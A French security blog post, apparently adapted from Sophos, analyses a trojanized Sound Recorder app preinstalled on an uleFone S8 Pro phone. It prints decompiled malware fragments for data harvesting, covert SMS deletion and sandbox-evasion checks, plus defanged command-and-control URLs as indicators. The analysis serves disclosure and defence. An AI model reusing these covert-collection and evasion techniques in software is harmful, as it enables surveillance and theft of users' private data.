Les téléphones mobiles peu coûteux peuvent faire l’objet d’un “supply chain compromise” avec des applications tierces “trojanisées”. Nous avons examiné un téléphone qui avait été livré avec un malware, sorti d’usine !
De nos jours, s’agissant de l’achat d’un nouveau téléphone Android, les utilisateurs disposent d’un large choix adapté à presque tous les budgets. Toutefois, certains téléphones mobile génériques et peu coûteux, peuvent ne pas offrir le même niveau de contrôle qualité que celui attendu par les clients de marques réputées. Dans certains cas, vous pouvez même vous retrouver avec un téléphone livré, tout neuf sorti d’usine, avec une application potentiellement indésirable (PUA) ou même un malware pré-installé : une situation connue sous le nom de “supply chain compromise”.
Il existe peu d’exemples de malwares ou d’applications potentiellement indésirables pré-installés dans le firmware d’un téléphone, au niveau même du fabricant, mais des cas existent tout de même. Nous sommes tombés sur un fabricant de téléphones mobiles qui semble avoir agi ainsi au moins une fois. De nombreux fabricants de téléphones Android et d’autres appareils mobiles incorporent des applications tierces. En règle générale, ces applications sont installées au niveau de l’un des deux emplacements utilisés pour les applications système privilégiées, à savoir les dossiers /system/app ou /system/priv-app.
En théorie, les applications installées au niveau de ces emplacements sont supposées être des applications système de confiance, telles qu’un gestionnaire de fichiers ou d’autres utilitaires que les utilisateurs s’attendent à trouver à cet endroit. En réalité, les fabricants d’applications paient parfois les fabricants de téléphones mobiles pour inclure leurs applications dans “l’image usine”. Ce modèle commercial n’a rien de mauvais en soi : le fabricant de téléphones peut maintenir son bas prix et les développeurs d’applications peuvent commencer à se faire une réputation et à être connu.
D’autre part, le contrôle qualité au niveau de tous ces acteurs n’est pas aussi bon qu’il devrait l’être et certains développeurs d’applications peuvent inclure des fonctions indésirables dans leur application, en raison de mauvaises pratiques de codage ou d’une volonté délibérée visant à maximiser le retour sur investissement. Nous avons récemment découvert un intéressant RAT Android, préinstallé sous la forme d’une application tierce, et fournie avec un téléphone mobile pas cher, provenant de l’un de ces fabricants peu connus.
Un enregistreur audio malveillant
En décembre 2017, un utilisateur sur un forum populaire, auprès des passionnés de téléphones Android, a signalé qu’une application installée sur un téléphone récemment acheté déclenchait des alertes au niveau du produit antivirus mobile de l’utilisateur. L’application, appelée “Sound Recorder”, avait été intégrée au S8 Pro, fabriqué par Shenzhen uleFone. Il s’agissait, par ailleurs, d’un téléphone Android plutôt très attractif avec des spécifications impressionnantes.
Pour valider ses dires, nous avons acheté un modèle de téléphone similaire. Nous avons également téléchargé et inspecté le contenu des images du firmware usine pour ce modèle, et vers lequel le fabricant renvoie au niveau des pages de support technique.
Stockés dans le dossier /system/priv-app, nous avons trouvé l’application Sound Recorder prétendument malveillante, SoundRecorder.apk. Nous pensons que cette version de l’application était une version délibérément Trojanisée d’un utilitaire système par ailleurs bénin, obtenue en ajoutant un module malveillant à l’application officielle, appelée com.android.prize.
Cette application a effectivement une valeur inestimable. En effet, le module n’a rien à voir avec un enregistreur audio. Au lieu de cela, il collecte et envoie les informations personnelles de l’utilisateur, telles que le numéro de téléphone et la géolocalisation, à un serveur distant. Nous ne savons pas si cela fait partie du code malveillant ou bien s’il s’agit d’un outil d’analyse d’applications très intrusif. Ce qui semble, par contre, délibérément malveillant est le fait qu’elle soit également conçue pour pouvoir envoyer des SMS à une liste de numéros hardcodés dans l’application, et recevoir des instructions par SMS, sans avertissement ni consentement de l’utilisateur, pour lui permettre de fonctionner en tant que RAT.
L’image ci-dessous compare la structure de l’application infectée (côté gauche) à celle de l’application officielle (côté droit), avant qu’elle ne soit infectée. Notez bien les noms des fonctions dans la zone rouge.
Comportement Indésirable
Le comportement malveillant commence avec BroadcastReceiver, une classe qui attend le broadcast BOOT_COMPLETED, émis par le téléphone à la fin de sa phase de démarrage. Ce mécanisme assure la persistance du malware afin qu’il puisse survivre au redémarrage.
Dans la classe BroadcastReceiver, l’application lance un service appelé ClickSimStateService. Ce service contient des fonctions qui collectent et envoient, à un serveur central, un grand nombre d’informations détaillées et privées, comme l’identifiant IMEI unique du téléphone, le numéro de téléphone et la localisation.
Object v5 = arg15.getSystemService("phone");
this.imsi = ((TelephonyManager)v5).getSubscriberId();
this.imei = SalesStatisUtil.getIMEI(arg15);
this.mobile = ((TelephonyManager)v5).getLine1Number();
this.provider = this.getProvider(this.imsi);
ClientInfo.networkType = ((byte)ClientInfo.getAPNType(arg15));
Ensuite, il obtient l’emplacement du périphérique, à l’aide de l’API de localisation Baidu :
String v0 = arg9.getAddrStr();
if(v0 != null) {
DecimalFormat v2 = new DecimalFormat("###.0000");
Log.v("PrizeSalesStatis", "[StartSalesStatisService]----BigDecimal bd = " + new BigDecimal(arg9.getLatitude()).setScale(2, 4).toString());
StartSalesStatisService.this.latitude = Double.valueOf(v2.format(arg9.getLatitude()));
StartSalesStatisService.this.longitude = Double.valueOf(v2.format(arg9.getLongitude()));
Le module compresse ensuite toutes les informations collectées dans un format JSON et les envoie via un HTTP POST à l’adresse suivante :
hxxp://dt.szprize.cn/mbinfo.php
Les informations collectées et envoyées au serveur distant incluent :
- Le numéro de téléphone de l’appareil.
- Les informations sur la localisation, comprenant la longitude, la latitude et une adresse postale.
- L’identifiant IMEI et Android.
- La résolution d’écran.
- Le fabricant, le modèle, la marque, la version du système d’exploitation.
- Les informations concernant le processeur.
- Le type de réseau.
- L’adresse Mac.
- La taille de la RAM et de la ROM.
- La taille de la carte SD.
- La langue et le pays.
- L’opérateur de téléphonie mobile.
Par contre nous ne savons pas s’il s’agit simplement d’un composant d’analyse de l’application Sound Recorder ou bien si cela fait partie de la méthode utilisée par le malware pour envoyer les informations de profil à son serveur c2. Ensuite, de manière clairement malveillante cette fois-ci, le module crée un autre service appelé AutoSendSmsService, qui envoie un SMS avec le modèle de périphérique et l’IMEI à l’un des numéros de téléphone présent dans une liste hardcodée, choisie au hasard :
AutoSendSmsService.telNumber = AutoSendSmsService.telephoneNum[this.readomTelNum()];
Log.v("PrizeSalesStatis", "---- ----> devicestate == " + this.getDeviceInfo());
this.sendsms(AutoSendSmsService.telNumber, this.getDeviceInfo());
Ensuite, il écoute les broadcasts SMS_RECEIVED et SMS_SENT. Ces derniers sont générés chaque fois que le téléphone envoie ou reçoit un message texte. Normalement, un téléphone envoie ensuite le message à l’application SMS installée par l’utilisateur, mais le code SMS malveillant intercepte et supprime les messages en provenance ou à destination de l’un des numéros de la liste. Ils ne sont donc jamais affichés dans l’application de messagerie texte du téléphone.
AutoSendSmsService.this.deleteSMS(this.val$context, this.val$curStr, "content://sms/failed"); AutoSendSmsService.this.deleteSMS(this.val$context, this.val$curStr, "content://mms/drafts"); AutoSendSmsService.this.deleteSMS(this.val$context, this.val$curStr, "content://sms/sent"); AutoSendSmsService.this.deleteSMS(this.val$context, this.val$curStr, "content://mms/inbox"); AutoSendSmsService.this.deleteSMS(this.val$context, this.val$curStr, "content://sms/outbox");
De cette façon, il tente de cacher toutes les traces de ses activités SMS à l’utilisateur final.
Fonctionnalité de la backdoor
Comme si la récupération des données personnelles et l’envoi de SMS, en secret, n’était pas suffisant, le Sound Recorder malveillant dispose également de fonctions backdoor. Il contacte son serveur C2 via HTTP pour obtenir des instructions et peut effectuer les tâches suivantes :
- Téléchargez et installez des applications.
- Désinstaller des applications.
- Exécuter des commandes shell.
- Ouvrir une URL dans le navigateur (bien que cette fonction soit apparue être encore en cours de développement dans l’échantillon analysé).
Pour éviter d’être repéré par des experts en cybersécurité ou des utilisateurs finaux, il utilise diverses méthodes pour rester invisible. Certaines d’entre elles sont assez intéressantes.
- Le module backdoor donne l’impression de faire partie de la bibliothèque de support Android.
<receiver android:name="com.android.support.Receiver">
- Toutes les séquences sont chiffrées.
Pour s’assurer que le périphérique est utilisé par un réel utilisateur (par opposition à un périphérique de test ou à une sandbox), il ne démarre la fonction backdoor que si l’une des vérifications suivantes est réussie :
- Il additionne toutes les durées d’appel enregistrées dans le Call log et vérifie si la durée totale dépasse une certaine valeur reçue du serveur command and control.
totalcallduration = a._getcallduration(this.a);
_logger.b("call Tms = " + _totalcallduration);
v0_1 = _totalcallduration < this._calltimethreshold * (((long)com.android.support.a._60)) ? 1 : 0;
if(v0_1 == 0) {
_logger.b("reached call time,active!");
f._edit_shared_pref(this.a, "pf_ky_ulk_tms", true);
return;
- Il obtient les dates d’installation des applications à partir de Package Manager et calcule le nombre total de jours d’installation des applications, puis vérifie si ce nombre dépasse une valeur configurable, également reçue par le serveur C2.
while(v5.hasNext()) {
v6 = this.c(v5.next().firstInstallTime);
if(v4_1.contains(Long.valueOf(v6))) {
continue;
}
v4_1.add(Long.valueOf(v6));
}
v0_1 = (((long)v4_1.size())) < this._threshold ? 1 : 0;
if(v0_1 == 0) {
_logger.b("reached call time,active!");
f._edit_shared_pref(this.a, "pf_ky_ulk_tms", true);
return;
}
Mise en œuvre de la Backdoor
Le module backdoor est bien structuré et très flexible. Jetons un coup d’œil à son workflow. Tout d’abord, il contacte l’URL suivante et envoie l’IMEI, l’adresse MAC, l’identifiant d’application (appID), la durée totale de l’appel et la taille de stockage externe utilisable.
hxxp://play.xhxt2016.com/logcollect/log-information
Ensuite, il contacte le serveur C2 pour s’inscrire lui-même en tant que nœud actif dans le botnet. Là encore, il envoie des informations, notamment le numéro IMEI, l’adresse MAC, le type de réseau et l’emplacement d’installation de cette application. Si le périphérique est une tablette ou un téléphone, ou s’il est rooté, il envoie également ces informations. Le serveur renvoie un ID utilisateur (UserID) qu’il utilisera dans ses communications ultérieures avec le serveur.
hxxp://apis.sunlight-leds.com/user/register_lock
Ensuite, le malware recherche les conditions décrites dans la section précédente pour s’assurer qu’il est exécuté depuis un véritable équipement utilisateur. Si la vérification est réussie, il enverra une autre requête HTTP pour obtenir une configuration pour la backdoor. La configuration comprend une URL de serveur. Cela signifie que les opérateurs du RAT peuvent modifier ou configurer, de manière dynamique, le serveur C2. Elle inclut également un intervalle de temps indiquant la prochaine fois que le malware contactera le serveur C2, ainsi qu’une “whitelist” contenant des noms des applications.
hxxp://apis.sunlight-leds.com/get/policy
Enfin, le malware reçoit des instructions du serveur C2. Les instructions peuvent être l’une des quatre que nous avons mentionnées ci-dessus.
hxxp://apis.sunlight-leds.com/get/net_work
Le créateur de ce malware a déployé de nombreux efforts pour maximiser les chances de succès et réduire les risques de détection. Par exemple, lorsque le RAT essaie d’installer une application, s’il n’y a pas assez d’espace disponible sur le téléphone, il videra le cache et désinstallera certaines applications pour tenter de faire de la place. Mais il conservera, dans la “whitelist”, les applications qu’il recevra au cours de sa phase de configuration.
ArrayList v0 = com.android.support.utils.e._getinstalledpackage(arg5);
if(v0 != null && v0.size() > 0) {
try {
String v0_2 = v0.get(new Random().nextInt(v0.size())).packageName;
if(this.b.getWhiteList().contains(v0_2)) {
_logger.b("freeing space failed,because the app is in white list");
return;
}
La nature de la connexion entre le module SMS et le module backdoor n’est pas claire. Ils contactent différents serveurs et le style de codage est différent. Il est possible qu’ils soient d’auteurs différents. Mais SoundRecorder, fonctionnant comme une application privilégiée du système, était équipé de deux modules malveillants. Cela représente un réel danger pour les utilisateurs mobiles.
Les défis des firmwares de téléphones mobiles
Le S8 Pro d’uleFone fait partie d’une grande catégorie de téléphones mobiles Android peu coûteux qui utilisent des processeurs provenant d’une société appelée MediaTek. On ne peut pas dire que les outils d’installation du firmware pour les téléphones mobiles MediaTek soient vraiment conviviaux, mais il est vrai que dans notre cas, il a tout de même fallu déployer beaucoup d’efforts pour installer le firmware contenant le malware sur le téléphone, principalement parce que le site web d’uleFone nous a dirigés vers des versions obsolètes, et parfois incorrectes, du firmware et de l’utilitaire d’installation.
Le téléphone que nous avons acheté utilisait une version plus récente du firmware Android que celui signalé dans le rapport original comme étant à l’origine des problèmes. Nous n’avons pas détecté le malware dans cette version ultérieure de l’image du firmware installée sur le téléphone, mais nous avons trouvé l’URL source de la version du firmware qui contenait l’application Sound Recorder malveillante, et qui nous a permis d’obtenir l’échantillon à analyser.
Pour compliquer les choses, nous avons découvert qu’uleFone héberge ses images de firmwares sur diverses plateformes d’hébergement de fichiers ouvertes dans le Cloud, telles que Microsoft Azure et Google Cloud. Les images du firmware du S8 Pro étaient hébergées dans des répertoires génériques sur Google Drive, sans aucune autre indication à part qu’elles étaient des sources officielles pour ce firmware. Les images du firmware étaient trop volumineuses pour que Google Drive puisse analyser le contenu à la recherche de malwares. Les utilisateurs doivent donc accepter aveuglément en partant du principe que le firmware est irréprochable.
En l’absence de liens directs vers le site web du fabricant et d’une image de firmware non attribuée dans un répertoire générique de partage de fichiers, il serait extrêmement facile pour un acteur malveillant, qui aurait piraté le site web du fabricant en question, de faire simplement pointer l’URL de téléchargement d’un modèle donné vers un autre emplacement Google Drive, avec une version du firmware Trojanisée. Nous ne croyons pas que ce soit ce qui s’est passé dans notre cas, mais le risque est inévitable avec ce type d’approche aléatoire au niveau de la sécurité des fichiers. Un utilisateur final ne serait jamais capable de faire la différence.
Au cours des dernières semaines, nous avons essayé de contacter l’entreprise pour la mettre au courant de ces problèmes, mais nous n’avons jamais reçu de réponse, malgré l’utilisation répétée de plusieurs méthodes différentes, pour tenter de les contacter.
Conclusion
Une leçon simple, à tirer de cet exemple, est la suivante : si le prix d’un téléphone Android, très attirant, semble trop beau pour être vrai, alors vous pourriez avoir à “payer” la différence, pour ce téléphone, d’une manière inattendue ou qui pourrait ne pas vous plaire du tout. Il n’est pas difficile de trouver des fabricants de téléphones moiles ayant une excellente réputation en matière de contrôle qualité.
Il ne s’agit pas d’un problème unique qui affecte uniquement ce fabricant. Il s’agit plutôt un exemple illustrant bien le phénomène de “supply chain compromise”. Un fabricant de téléphones mobiles qui ne porte pas toute l’attention, pourtant requise, sur le code tiers qu’il n’a pas créé, puis envoie un firmware avec des applications malveillantes à ses clients, peut lui-même être victime d’un développeur d’applications tiers compromis. Mais, quoi qu’il en soit, cela n’est pas une excuse valable pour que le fabricant en question ne connaisse pas le contenu exact des produits qu’il expédie vers ses clients.
Les fabricants de téléphones mobiles bon marché sont constamment à la recherche de moyens inventifs pour faire fructifier tous leurs efforts. Bien qu’il n’y ait rien de mal en soi à cela, parfois, ces efforts sont réalisés au détriment de la vie privée des autres. A bon entendeur, …
REMARQUE : Sophos a détecté l’application “trojanisée” de manière générique, sous le nom «Andr/Xgen2-CY», depuis le premier jour, celui de sa sortie.
Indicateurs de compromission
SoundRecorder.apk: 1b07a6a64f41e2c5154c232ea7450cca59170aab
URLs
play.xhxt2016[.]com/logcollect/log-information apis.sunlight-leds[.]com/user/register_lock apis.sunlight-leds[.]com/get/policy apis.sunlight-leds[.]com/get/net_work
Billet inspiré de The price of a cheap mobile phone may include your privacy, sur Sophos nakedsecurity.
